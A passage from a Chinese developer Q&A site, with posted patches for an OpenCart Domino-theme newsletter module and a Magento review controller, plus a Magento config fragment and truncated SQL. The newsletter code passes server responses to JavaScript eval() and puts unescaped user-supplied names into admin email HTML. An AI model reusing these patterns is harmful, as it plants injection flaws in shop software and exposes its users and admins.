<show_in_store>1</show_in_store>
</is_sent_email_refund>
<sent_mail_refund_email_template>
<label>Sent email to affiliate when a transaction refund</label>
<frontend_type>select</frontend_type>
<sort_order>148</sort_order>
<source_model>adminhtml/system_config_source_email_template</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</sent_mail_refund_email_template>-->
<!--end by viet-->
<payment_separator translate="label">
<label>Withdrawal Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>150</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</payment_separator>
<is_sent_email_sales_request_payment translate="label">
<label>Send email to admin when an affiliate requests withdrawal</label>

opencart 2.3.0.2中使用domino模板时newsletter无响应的问题及修复

技术问答neasel 发表了文章 • 0 个评论 • 13 次浏览 • 2017-05-02 22:29 • 来自相关话题

此补丁包此是修复此模板中的NEWSLETTER问题,及NEWSLETTERPOP
修改位于catalog/controller/extension/module/newslettersubscribe.php<?php
class ControllerExtensionModuleNewslettersubscribe extends Controller {
private $error = array();

public function index($setting) {

$this->language->load('extension/module/newslettersubscribe');
$this->document->addScript('catalog/view/javascript/opentheme/jquery.bpopup.min.js');
$this->document->addScript('catalog/view/javascript/opentheme/jquery.cookie.js');

$data['heading_title'] = $this->language->get('heading_title');
$data['newletter_lable'] = $this->language->get('newletter_lable');
$data['sub_newletter'] = $this->language->get('sub_newletter');

$data['entry_name'] = $this->language->get('entry_name');
$data['entry_email'] = $this->language->get('entry_email');
$data['entry_button'] = $this->language->get('entry_button');
$data['entry_unbutton'] = $this->language->get('entry_unbutton');
$data['option_unsubscribe'] = $this->config->get('option_unsubscribe');
$data['thickbox'] = $setting['newslettersubscribe_thickbox'];
$data['entry_show_again'] = $this->language->get('entry_show_again');
$data['text_subscribe'] = $this->language->get('text_subscribe');

$this->id = 'newslettersubscribe';
if(isset($setting['popup']) && $setting['popup']==1) {
return $this->load->view('extension/module/newsletterpopup', $data);
}else {
return $this->load->view('extension/module/newslettersubscribe', $data);
}


$this->load->model('account/newslettersubscribe');
//check db
$this->model_account_newslettersubscribe->check_db();
}

public function subscribe() {

$prefix_eval = "";

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_email']) and filter_var($this->request->post['subscribe_email'],FILTER_VALIDATE_EMAIL)) {
$this->request->post['subscribe_email'] = $this->request->post['subscribe_email'];
$this->request->post['subscribe_name'] = $this->request->post['subscribe_name'];


if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,1);

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

$this->model_account_newslettersubscribe->subscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

if ($this->config->get('newslettersubscribe_mail_status')) {

$subject = $this->language->get('mail_subject');

$message = '<table width="60%" cellpadding="2" cellspacing="1" border="0">
<tr>
<td> Email Id </td>
<td> '.$this->request->post['subscribe_email'].' </td>
</tr>
<tr>
<td> Name </td>
<td> '.$this->request->post['subscribe_name'].' </td>
</tr>';
$message .= '</table>';

$mail = new Mail();
$mail->protocol = $this->config->get('config_mail_protocol');
$mail->parameter = $this->config->get('config_mail_parameter');
$mail->hostname = $this->config->get('config_smtp_host');
$mail->username = $this->config->get('config_smtp_username');
$mail->password = $this->config->get('config_smtp_password');
$mail->port = $this->config->get('config_smtp_port');
$mail->timeout = $this->config->get('config_smtp_timeout');
$mail->setTo($this->config->get('config_email'));
$mail->setFrom($this->config->get('config_email'));
$mail->setSender($this->config->get('config_name'));
$mail->setSubject($subject);
$mail->setHtml($message);
$mail->send();
}

} else {

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"warning\"> '.$this->language->get('alreadyexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}

} else {

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

public function subscribepopup() {

$prefix_eval = "";

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_pemail']) and filter_var($this->request->post['subscribe_pemail'],FILTER_VALIDATE_EMAIL)) {
$this->request->post['subscribe_email'] = $this->request->post['subscribe_pemail'];
$this->request->post['subscribe_name'] = $this->request->post['subscribe_pname'];


if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,1);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

$this->model_account_newslettersubscribe->subscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

if ($this->config->get('newslettersubscribe_mail_status')) {

$subject = $this->language->get('mail_subject');

$message = '<table width="60%" cellpadding="2" cellspacing="1" border="0">
<tr>
<td> Email Id </td>
<td> '.$this->request->post['subscribe_pemail'].' </td>
</tr>
<tr>
<td> Name </td>
<td> '.$this->request->post['subscribe_pname'].' </td>
</tr>';
$message .= '</table>';

$mail = new Mail();
$mail->protocol = $this->config->get('config_mail_protocol');
$mail->parameter = $this->config->get('config_mail_parameter');
$mail->hostname = $this->config->get('config_smtp_host');
$mail->username = $this->config->get('config_smtp_username');
$mail->password = $this->config->get('config_smtp_password');
$mail->port = $this->config->get('config_smtp_port');
$mail->timeout = $this->config->get('config_smtp_timeout');
$mail->setTo($this->config->get('config_email'));
$mail->setFrom($this->config->get('config_email'));
$mail->setSender($this->config->get('config_name'));
$mail->setSubject($subject);
$mail->setHtml($message);
$mail->send();
}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('alreadyexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

public function unsubscribe(){

if ($this->config->get('newslettersubscribe_thickbox')) {
$prefix_eval = "";
} else {
$prefix_eval = "";
}

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_email']) and filter_var($this->request->post['subscribe_email'],FILTER_VALIDATE_EMAIL)) {

if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,0);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('unsubscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('notexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

} else {

if ($this->config->get('option_unsubscribe')) {

$this->model_account_newslettersubscribe->unsubscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('unsubscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}
}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

protected function loadmodule() {

$this->language->load('extension/module/newslettersubscribe');

$data['heading_title'] = $this->language->get('heading_title');

$data['entry_name'] = $this->language->get('entry_name');
$data['entry_email'] = $this->language->get('entry_email');
$data['entry_button'] = $this->language->get('entry_button');
$data['entry_unbutton'] = $this->language->get('entry_unbutton');
$data['option_unsubscribe'] = $this->config->get('option_unsubscribe');
$data['thickbox'] = $this->config->get('newslettersubscribe_thickbox');

$data['text_subscribe'] = $this->language->get('text_subscribe');

$this->id = 'newslettersubscribe';


return $this->load->view('extension/module/newslettersubscribe.tpl', $data);
}
}
?>修改文件 catalog/view/theme/您所使用的模板/template/extension/module/newsletterpopup/newsletterpopup.tpl<div class="newletter-container">
<div id="boxes" class="newletter-container newsletter-popup">
<div style="" id="dialog" class="window ">
<div class="box ">
<!-- <div class="png-popup1" style="height:auto;width: 100%;">
<img src="image/catalog/demo/newsletter-1.jpg" alt="#">
</div> -->
<div id="popup2" class="btn-close-form">
<span class="button b-close"><span>X</span></span>
<div class="content"></div>
</div>
<div class="newletter-title"><h2><?php echo $heading_title; ?></h2></div>
<div class="box-content newleter-content">
<label><?php echo $newletter_lable; ?></label>
<div id="frm_subscribes">
<form name="subscribe" id="subscribe_popup">
<div>
<!-- <span class="required">*</span><span><?php //echo $entry_email; ?></span> -->
<input type="text" value="" name="subscribe_pemail" id="subscribe_pemail">
<input type="hidden" value="" name="subscribe_pname" id="subscribe_pname" />
</div>
<div class="subs-links text-center">
<a class="button" onclick="email_subscribepopup()"><span><?php echo $entry_button; ?></span></a>
</div>
<?php if($option_unsubscribe) { ?>
<a class="button" onclick="email_unsubscribepopup()"><span><?php echo $entry_unbutton; ?></span></a>
<?php } ?>
</form>
<div class="subscribe-bottom">
<input type="checkbox" id="newsletter_popup_dont_show_again">
<label for="newsletter_popup_dont_show_again"><?php echo $entry_show_again; ?></label>
</div>
</div><!-- /#frm_subscribe -->
<div id="notification"></div>
</div><!-- /.box-content -->
<!-- <div class="png-popup2" style="height:120px;width: 150px;">
<img src="image/catalog/demo/newletter_item.png" alt="#">
</div> -->
</div>
</div>

<script type="text/javascript">
function email_subscribepopup(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/subscribepopup',
dataType: 'html',
data:$("#subscribe_popup").serialize(),
success: function (html) {
$.cookie('shownewsletter', '1');
eval(html);
}});


}
function email_unsubscribepopup(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/unsubscribe',
dataType: 'html',
data:$("#subscribe_popup").serialize(),
success: function (html) {
eval(html);
}});
$('html, body').delay( 1500 ).animate({ scrollTop: 0 }, 'slow');

}
</script>
<script type="text/javascript">
$(document).ready(function() {

if($.cookie('shownewsletter')==1) $('#boxes').hide();
$('#subscribe_pemail').keypress(function(e) {
if(e.which == 13) {
e.preventDefault();
email_subscribepopup();
}
var name= $(this).val();
$('#subscribe_pname').val(name);
});
$('#subscribe_pemail').change(function() {
var name= $(this).val();
$('#subscribe_pname').val(name);
});


//transition effect
if($.cookie("shownewsletter") != 1){
$('#boxes').bPopup();

}

//if close button is clicked
$('.b-modal').click(function (e) {
$.cookie('shownewsletter', '1');
});

$('#newsletter_popup_dont_show_again').on('change', function(){
if($.cookie("shownewsletter") != 1){
$.cookie("shownewsletter",'1')
}else{
$.cookie("shownewsletter",'0')
}
});


});

</script>


</div><!-- /.box -->
</div>修改文件 catalog/view/theme/您所使用的模板/template/extension/module/newsletterpopup/newslettersubscribe.tpl<div class="newletter-subscribe">
<div class="containers">
<div id="box" class="newletter-container">
<div style="" id="dialog_nomal" class="window">
<div class="box">
<div class="newletter-title">
<h2><?php echo $newletter_lable; ?></h2>
<!-- <span class="sub-newletter"><?php echo $sub_newletter; ?></span> -->
</div>
<div class="box-content newleter-content">
<label class="hidden"><?php echo $newletter_lable; ?></label>
<div id="frm_subscribe">
<form name="subscribe" id="subscribe">
<input type="text" value="" name="subscribe_email" id="subscribe_email">
<input type="hidden" value="" name="subscribe_name" id="subscribe_name" />
<a class="button" onclick="email_subscribe()"><span><?php echo $entry_button; ?></span></a>
<?php if($option_unsubscribe) { ?>
<a class="button" onclick="email_unsubscribe()"><span><?php echo $entry_unbutton; ?></span></a>
<?php } ?>
</form>
</div><!-- /#frm_subscribe -->
<div id="notification_normal"></div>
</div><!-- /.box-content -->
</div>
</div>

<script type="text/javascript">
function email_subscribe(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/subscribe',
dataType: 'html',
data:$("#subscribe").serialize(),
success: function (html) {
eval(html);
}});


}
function email_unsubscribe(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/unsubscribe',
dataType: 'html',
data:$("#subscribe").serialize(),
success: function (html) {
eval(html);
}});
$('html, body').delay( 1500 ).animate({ scrollTop: 0 }, 'slow');

}
</script>
<script type="text/javascript">
$(document).ready(function() {
$('#subscribe_email').keypress(function(e) {
if(e.which == 13) {
e.preventDefault();
email_subscribe();
}
var name= $(this).val();
$('#subscribe_name').val(name);
});
$('#subscribe_email').change(function() {
var name= $(this).val();
$('#subscribe_name').val(name);
});

});
</script>


</div><!-- /.box -->
</div>
</div> 查看全部
此补丁包此是修复此模板中的NEWSLETTER问题,及NEWSLETTERPOP
修改位于catalog/controller/extension/module/newslettersubscribe.php
<?php  
class ControllerExtensionModuleNewslettersubscribe extends Controller {
private $error = array();

public function index($setting) {

$this->language->load('extension/module/newslettersubscribe');
$this->document->addScript('catalog/view/javascript/opentheme/jquery.bpopup.min.js');
$this->document->addScript('catalog/view/javascript/opentheme/jquery.cookie.js');

$data['heading_title'] = $this->language->get('heading_title');
$data['newletter_lable'] = $this->language->get('newletter_lable');
$data['sub_newletter'] = $this->language->get('sub_newletter');

$data['entry_name'] = $this->language->get('entry_name');
$data['entry_email'] = $this->language->get('entry_email');
$data['entry_button'] = $this->language->get('entry_button');
$data['entry_unbutton'] = $this->language->get('entry_unbutton');
$data['option_unsubscribe'] = $this->config->get('option_unsubscribe');
$data['thickbox'] = $setting['newslettersubscribe_thickbox'];
$data['entry_show_again'] = $this->language->get('entry_show_again');
$data['text_subscribe'] = $this->language->get('text_subscribe');

$this->id = 'newslettersubscribe';
if(isset($setting['popup']) && $setting['popup']==1) {
return $this->load->view('extension/module/newsletterpopup', $data);
}else {
return $this->load->view('extension/module/newslettersubscribe', $data);
}


$this->load->model('account/newslettersubscribe');
//check db
$this->model_account_newslettersubscribe->check_db();
}

public function subscribe() {

$prefix_eval = "";

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_email']) and filter_var($this->request->post['subscribe_email'],FILTER_VALIDATE_EMAIL)) {
$this->request->post['subscribe_email'] = $this->request->post['subscribe_email'];
$this->request->post['subscribe_name'] = $this->request->post['subscribe_name'];


if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,1);

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

$this->model_account_newslettersubscribe->subscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

if ($this->config->get('newslettersubscribe_mail_status')) {

$subject = $this->language->get('mail_subject');

$message = '<table width="60%" cellpadding="2" cellspacing="1" border="0">
<tr>
<td> Email Id </td>
<td> '.$this->request->post['subscribe_email'].' </td>
</tr>
<tr>
<td> Name </td>
<td> '.$this->request->post['subscribe_name'].' </td>
</tr>';
$message .= '</table>';

$mail = new Mail();
$mail->protocol = $this->config->get('config_mail_protocol');
$mail->parameter = $this->config->get('config_mail_parameter');
$mail->hostname = $this->config->get('config_smtp_host');
$mail->username = $this->config->get('config_smtp_username');
$mail->password = $this->config->get('config_smtp_password');
$mail->port = $this->config->get('config_smtp_port');
$mail->timeout = $this->config->get('config_smtp_timeout');
$mail->setTo($this->config->get('config_email'));
$mail->setFrom($this->config->get('config_email'));
$mail->setSender($this->config->get('config_name'));
$mail->setSubject($subject);
$mail->setHtml($message);
$mail->send();
}

} else {

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"warning\"> '.$this->language->get('alreadyexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}

} else {

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

public function subscribepopup() {

$prefix_eval = "";

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_pemail']) and filter_var($this->request->post['subscribe_pemail'],FILTER_VALIDATE_EMAIL)) {
$this->request->post['subscribe_email'] = $this->request->post['subscribe_pemail'];
$this->request->post['subscribe_name'] = $this->request->post['subscribe_pname'];


if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,1);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

$this->model_account_newslettersubscribe->subscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

if ($this->config->get('newslettersubscribe_mail_status')) {

$subject = $this->language->get('mail_subject');

$message = '<table width="60%" cellpadding="2" cellspacing="1" border="0">
<tr>
<td> Email Id </td>
<td> '.$this->request->post['subscribe_pemail'].' </td>
</tr>
<tr>
<td> Name </td>
<td> '.$this->request->post['subscribe_pname'].' </td>
</tr>';
$message .= '</table>';

$mail = new Mail();
$mail->protocol = $this->config->get('config_mail_protocol');
$mail->parameter = $this->config->get('config_mail_parameter');
$mail->hostname = $this->config->get('config_smtp_host');
$mail->username = $this->config->get('config_smtp_username');
$mail->password = $this->config->get('config_smtp_password');
$mail->port = $this->config->get('config_smtp_port');
$mail->timeout = $this->config->get('config_smtp_timeout');
$mail->setTo($this->config->get('config_email'));
$mail->setFrom($this->config->get('config_email'));
$mail->setSender($this->config->get('config_name'));
$mail->setSubject($subject);
$mail->setHtml($message);
$mail->send();
}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('alreadyexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

public function unsubscribe(){

if ($this->config->get('newslettersubscribe_thickbox')) {
$prefix_eval = "";
} else {
$prefix_eval = "";
}

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_email']) and filter_var($this->request->post['subscribe_email'],FILTER_VALIDATE_EMAIL)) {

if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,0);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('unsubscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


} else if (!$this->model_account_newslettersubscribe->checkmailid($this->request->post)) {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('notexist').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

} else {

if ($this->config->get('option_unsubscribe')) {

$this->model_account_newslettersubscribe->unsubscribe($this->request->post);

echo('$("'.$prefix_eval.' #notification").html("<div class=\"success\"> '.$this->language->get('unsubscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');

}
}

} else {

echo('$("'.$prefix_eval.' #notification").html("<div class=\"warning\"> '.$this->language->get('error_invalid').'</div>")');

}

}

protected function loadmodule() {

$this->language->load('extension/module/newslettersubscribe');

$data['heading_title'] = $this->language->get('heading_title');

$data['entry_name'] = $this->language->get('entry_name');
$data['entry_email'] = $this->language->get('entry_email');
$data['entry_button'] = $this->language->get('entry_button');
$data['entry_unbutton'] = $this->language->get('entry_unbutton');
$data['option_unsubscribe'] = $this->config->get('option_unsubscribe');
$data['thickbox'] = $this->config->get('newslettersubscribe_thickbox');

$data['text_subscribe'] = $this->language->get('text_subscribe');

$this->id = 'newslettersubscribe';


return $this->load->view('extension/module/newslettersubscribe.tpl', $data);
}
}
?>
修改文件 catalog/view/theme/您所使用的模板/template/extension/module/newsletterpopup/newsletterpopup.tpl
<div class="newletter-container">
<div id="boxes" class="newletter-container newsletter-popup">
<div style="" id="dialog" class="window ">
<div class="box ">
<!-- <div class="png-popup1" style="height:auto;width: 100%;">
<img src="image/catalog/demo/newsletter-1.jpg" alt="#">
</div> -->
<div id="popup2" class="btn-close-form">
<span class="button b-close"><span>X</span></span>
<div class="content"></div>
</div>
<div class="newletter-title"><h2><?php echo $heading_title; ?></h2></div>
<div class="box-content newleter-content">
<label><?php echo $newletter_lable; ?></label>
<div id="frm_subscribes">
<form name="subscribe" id="subscribe_popup">
<div>
<!-- <span class="required">*</span><span><?php //echo $entry_email; ?></span> -->
<input type="text" value="" name="subscribe_pemail" id="subscribe_pemail">
<input type="hidden" value="" name="subscribe_pname" id="subscribe_pname" />
</div>
<div class="subs-links text-center">
<a class="button" onclick="email_subscribepopup()"><span><?php echo $entry_button; ?></span></a>
</div>
<?php if($option_unsubscribe) { ?>
<a class="button" onclick="email_unsubscribepopup()"><span><?php echo $entry_unbutton; ?></span></a>
<?php } ?>
</form>
<div class="subscribe-bottom">
<input type="checkbox" id="newsletter_popup_dont_show_again">
<label for="newsletter_popup_dont_show_again"><?php echo $entry_show_again; ?></label>
</div>
</div><!-- /#frm_subscribe -->
<div id="notification"></div>
</div><!-- /.box-content -->
<!-- <div class="png-popup2" style="height:120px;width: 150px;">
<img src="image/catalog/demo/newletter_item.png" alt="#">
</div> -->
</div>
</div>

<script type="text/javascript">
function email_subscribepopup(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/subscribepopup',
dataType: 'html',
data:$("#subscribe_popup").serialize(),
success: function (html) {
$.cookie('shownewsletter', '1');
eval(html);
}});


}
function email_unsubscribepopup(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/unsubscribe',
dataType: 'html',
data:$("#subscribe_popup").serialize(),
success: function (html) {
eval(html);
}});
$('html, body').delay( 1500 ).animate({ scrollTop: 0 }, 'slow');

}
</script>
<script type="text/javascript">
$(document).ready(function() {

if($.cookie('shownewsletter')==1) $('#boxes').hide();
$('#subscribe_pemail').keypress(function(e) {
if(e.which == 13) {
e.preventDefault();
email_subscribepopup();
}
var name= $(this).val();
$('#subscribe_pname').val(name);
});
$('#subscribe_pemail').change(function() {
var name= $(this).val();
$('#subscribe_pname').val(name);
});


//transition effect
if($.cookie("shownewsletter") != 1){
$('#boxes').bPopup();

}

//if close button is clicked
$('.b-modal').click(function (e) {
$.cookie('shownewsletter', '1');
});

$('#newsletter_popup_dont_show_again').on('change', function(){
if($.cookie("shownewsletter") != 1){
$.cookie("shownewsletter",'1')
}else{
$.cookie("shownewsletter",'0')
}
});


});

</script>


</div><!-- /.box -->
</div>
修改文件 catalog/view/theme/您所使用的模板/template/extension/module/newsletterpopup/newslettersubscribe.tpl
<div class="newletter-subscribe">
<div class="containers">
<div id="box" class="newletter-container">
<div style="" id="dialog_nomal" class="window">
<div class="box">
<div class="newletter-title">
<h2><?php echo $newletter_lable; ?></h2>
<!-- <span class="sub-newletter"><?php echo $sub_newletter; ?></span> -->
</div>
<div class="box-content newleter-content">
<label class="hidden"><?php echo $newletter_lable; ?></label>
<div id="frm_subscribe">
<form name="subscribe" id="subscribe">
<input type="text" value="" name="subscribe_email" id="subscribe_email">
<input type="hidden" value="" name="subscribe_name" id="subscribe_name" />
<a class="button" onclick="email_subscribe()"><span><?php echo $entry_button; ?></span></a>
<?php if($option_unsubscribe) { ?>
<a class="button" onclick="email_unsubscribe()"><span><?php echo $entry_unbutton; ?></span></a>
<?php } ?>
</form>
</div><!-- /#frm_subscribe -->
<div id="notification_normal"></div>
</div><!-- /.box-content -->
</div>
</div>

<script type="text/javascript">
function email_subscribe(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/subscribe',
dataType: 'html',
data:$("#subscribe").serialize(),
success: function (html) {
eval(html);
}});


}
function email_unsubscribe(){
$.ajax({
type: 'post',
url: 'index.php?route=extension/module/newslettersubscribe/unsubscribe',
dataType: 'html',
data:$("#subscribe").serialize(),
success: function (html) {
eval(html);
}});
$('html, body').delay( 1500 ).animate({ scrollTop: 0 }, 'slow');

}
</script>
<script type="text/javascript">
$(document).ready(function() {
$('#subscribe_email').keypress(function(e) {
if(e.which == 13) {
e.preventDefault();
email_subscribe();
}
var name= $(this).val();
$('#subscribe_name').val(name);
});
$('#subscribe_email').change(function() {
var name= $(this).val();
$('#subscribe_name').val(name);
});

});
</script>


</div><!-- /.box -->
</div>
</div>

Magento Intenso低版本评论提交后无反回

技术分享neasel 发表了文章 • 0 个评论 • 1 次浏览 • 2017-04-27 13:08 • 来自相关话题

只显示 sucuess msg ,消息 ,Thanks for your review! Your review has been accepted for moderation.
那么您需要app/code/local/Itactica/ExtendedReviews/controllers/ProductController.php此文件修改大约 public function postAction() {
$success = false;
if ($data = Mage::getSingleton('review/session')->getFormData(true)) {
$rating = array();
if (isset($data['ratings']) && is_array($data['ratings'])) {
$rating = $data['ratings'];
}
} else {
$data = $this->getRequest()->getPost();
$rating = $this->getRequest()->getParam('ratings', array());
}

if (($product = $this->_initProduct()) && !empty($data)) {
$session = Mage::getSingleton('core/session');
$review = Mage::getModel('review/review')->setData($data);

$validate = $review->validate();
if ($validate === true) {
try {
$review->setEntityId($review->getEntityIdByCode(Mage_Review_Model_Review::ENTITY_PRODUCT_CODE))
->setEntityPkValue($product->getId())
->setStatusId(Mage_Review_Model_Review::STATUS_PENDING)
->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())
->setStoreId(Mage::app()->getStore()->getId())
->setStores(array(Mage::app()->getStore()->getId()))
->save();

foreach ($rating as $ratingId => $optionId) {
Mage::getModel('rating/rating')
->setRatingId($ratingId)
->setReviewId($review->getId())
->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())
->addOptionVote($optionId, $product->getId());
}

$review->aggregate();
Mage::getResourceModel('itactica_extendedreviews/review')->syncReviews($review->getId());
$session->addSuccess($this->__('Thanks for your review! Your review has been accepted for moderation.'));
$success = true;

} catch (Exception $e) {
$session->setFormData($data);
$session->addError($this->__('Unable to post the review.'));
}
} else {
$session->setFormData($data);
if (is_array($validate)) {
foreach ($validate as $errorMessage) {
$session->addError($errorMessage);
}
} else {
$session->addError($this->__('Unable to post the review.'));
}
}
}
// echo json_encode(array('success' => $success, 'msg' => $this->getLayout()->getMessagesBlock()->getGroupedHtml()));


if ($redirectUrl = Mage::getSingleton('review/session')->getRedirectUrl(true)) {
$this->_redirectUrl($redirectUrl);
return;
}
$this->_redirectReferer();
} 查看全部
只显示 sucuess msg ,消息 ,Thanks for your review! Your review has been accepted for moderation.
那么您需要
app/code/local/Itactica/ExtendedReviews/controllers/ProductController.php
此文件修改大约
 public function postAction() {
$success = false;
if ($data = Mage::getSingleton('review/session')->getFormData(true)) {
$rating = array();
if (isset($data['ratings']) && is_array($data['ratings'])) {
$rating = $data['ratings'];
}
} else {
$data = $this->getRequest()->getPost();
$rating = $this->getRequest()->getParam('ratings', array());
}

if (($product = $this->_initProduct()) && !empty($data)) {
$session = Mage::getSingleton('core/session');
$review = Mage::getModel('review/review')->setData($data);

$validate = $review->validate();
if ($validate === true) {
try {
$review->setEntityId($review->getEntityIdByCode(Mage_Review_Model_Review::ENTITY_PRODUCT_CODE))
->setEntityPkValue($product->getId())
->setStatusId(Mage_Review_Model_Review::STATUS_PENDING)
->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())
->setStoreId(Mage::app()->getStore()->getId())
->setStores(array(Mage::app()->getStore()->getId()))
->save();

foreach ($rating as $ratingId => $optionId) {
Mage::getModel('rating/rating')
->setRatingId($ratingId)
->setReviewId($review->getId())
->setCustomerId(Mage::getSingleton('customer/session')->getCustomerId())
->addOptionVote($optionId, $product->getId());
}

$review->aggregate();
Mage::getResourceModel('itactica_extendedreviews/review')->syncReviews($review->getId());
$session->addSuccess($this->__('Thanks for your review! Your review has been accepted for moderation.'));
$success = true;

} catch (Exception $e) {
$session->setFormData($data);
$session->addError($this->__('Unable to post the review.'));
}
} else {
$session->setFormData($data);
if (is_array($validate)) {
foreach ($validate as $errorMessage) {
$session->addError($errorMessage);
}
} else {
$session->addError($this->__('Unable to post the review.'));
}
}
}
// echo json_encode(array('success' => $success, 'msg' => $this->getLayout()->getMessagesBlock()->getGroupedHtml()));


if ($redirectUrl = Mage::getSingleton('review/session')->getRedirectUrl(true)) {
$this->_redirectUrl($redirectUrl);
return;
}
$this->_redirectReferer();
}

Opencart2.x 简约响应式多合1主题Domino(含有2.2快速部署包) 2.3安装后台首页无内容

技术分享neasel 发表了文章 • 0 个评论 • 6 次浏览 • 2017-03-29 16:09 • 来自相关话题

ALTER TABLE `oc_user_group` CHANGE `permission` `permission` MEDIUMTEXT NOT NULL;

INSERT INTO `oc_extension` (`type`, `code`) VALUES
('dashboard', 'activity'),
('dashboard', 'sale'),
('dashboard', 'recent'),
('dashboard', 'order'),
